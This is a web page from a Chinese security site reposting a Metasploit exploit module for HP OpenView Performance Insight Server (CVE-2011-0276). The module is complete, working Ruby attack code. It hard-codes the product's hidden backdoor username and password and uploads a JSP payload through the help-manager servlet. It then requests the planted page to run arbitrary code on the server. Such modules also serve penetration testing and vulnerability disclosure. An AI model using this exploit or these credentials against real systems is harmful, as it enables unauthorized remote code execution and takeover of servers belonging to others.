首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP OpenView Performance Insight Server Backdoor Account Code Execution
来源:http://www.metasploit.com 作者:MC 发布时间:2011-03-17  

##
# $Id: hp_openview_insight_backdoor.rb 11969 2011-03-15 21:56:11Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Performance Insight Server Backdoor Account Code Execution',
   'Description'    => %q{
     This module exploits a hidden account in the com.trinagy.security.XMLUserManager Java
    class. When using this account, an attacker can abuse the
    com.trinagy.servlet.HelpManagerServlet class and write arbitary files to the system
    allowing the execution of arbitary code.

    NOTE: This module has only been tested against HP OpenView Performance Insight Server 5.41.0
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11969 $',
   'Platform'       => 'win',
   'Privileged'     => true,
   'References'     =>
    [
     [ 'CVE', '2011-0276' ],
     [ 'OSVDB', '70754' ],
    ],
   'Targets'        =>
    [
     [ 'Universal Windows Target',
      {
       'Arch'     => ARCH_JAVA,
       'Payload'  =>
        {
         'DisableNops' => true,
        },
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 31 2011'))

  register_options(
   [
    Opt::RPORT(80),
    OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hch908v' ]),
    OptString.new('PASSWORD', [ false, 'The password for the specified username', 'z6t0j$+i' ])
   ], self.class )

 end

 def exploit

  creds = "#{datastore['USERNAME']}" + ":" + "#{datastore['PASSWORD']}"

  dir  = rand_text_alpha_upper(rand(8) + 1)
  page = rand_text_alpha_upper(8) + ".jsp"
  uid  = rand(20).to_s

  file =  "-----------------------------#{uid}\r\n"
  file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
  file << "Content-Type: application/x-java-archive\r\n\r\n"
  file << payload.encoded + "\r\n"
  file <<  "-----------------------------#{uid}\r\n"
  # if (p.getName().equals("location")); ...
  file << "Content-Disposition: form-data; name=\"location\"\r\n"
  file << "Content-Type: text/plain\r\n\r\n"
  file << dir + "\r\n"
  file << "-----------------------------#{uid}\r\n\r\n"

  print_status("Sending our POST request...")

  res = send_request_cgi(
   {
    'uri'  => "/reports/helpmanager",
    'version' => '1.1',
    'method' => 'POST',
    'ctype'         => 'multipart/form-data; boundary=---------------------------' + uid,
    'data'  => file,
    'headers' =>
     {
=begin
this.internal = new User("hch908v");
this.internal.setName("hidden user");
this.internal.setEncryptedPassword(TrendCrypt.crypt("hch908v", "z6t0j$+i"));
this.internal.addRole("user");
this.internal.addRole("admin");
=end
      'Authorization' =>  "Basic #{Rex::Text.encode_base64(creds)}",

     }
   }, 5)
  
  if ( res and res.code == 200 )
   print_status("Login/Upload successful. Triggering payload at '/help/#{dir}/#{page}'...")
   send_request_raw({
     'uri'  => "/help/#{dir}/#{page}",
     'method' => 'GET',
     'version' => '1.0',
   }, 5)

   handler
  else
   print_error("Login/Upload refused!")
   return
  end
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Adobe ColdFusion - Directory T
·If-CMS 2.07 Pre-Auth Local Fil
·AVIPreview 0.26 Alpha Denial o
·Opera 11.01 NULL PTR Derefernc
·Sun Java Applet2ClassLoader Re
·Foxit PDF Reader 4.2 Javascrip
·Nostromo 1.9.3 Directory Trave
·Monkey's File Audio Buffer Ove
·ABBS Electronic Flash Cards 2.
·MediaCoder 0.7.5.4796 SEH Buff
·ABBS Audio Media Player 3.0 .l
·RealPlayer 11.0 Buffer Overflo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved